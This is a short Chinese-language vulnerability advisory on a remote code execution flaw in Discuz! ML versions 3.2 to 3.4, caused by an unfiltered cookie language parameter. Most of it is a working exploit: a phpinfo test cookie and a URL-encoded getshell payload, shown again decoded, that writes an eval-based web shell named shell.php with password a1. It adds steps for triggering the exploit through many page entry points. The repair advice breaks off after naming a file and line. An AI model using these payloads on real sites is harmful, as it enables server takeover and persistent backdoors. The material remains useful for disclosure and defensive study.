0x00 受影响的版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.2
0x01 漏洞描述
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
phpinfo验证
Ov1T_2132_language='.phpinfo().';
Getshell——EXP:
修改Cookie中的xxxx_language字段为以下内容即可
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1
EXP利用的方法:
大约有60多个点可以用的。比如论坛主页
其他利用点:
Getshell——EXP解码后:
'.+file_put_contents('shell.php',urldecode('+ eval($_GET["a1"]);?>')).'
修改exp为
_language=1.1.1;
使其报错
修复建议
截止到本文发布之前,补丁还没有出来。
建议修改source/function/function_core.php 644行为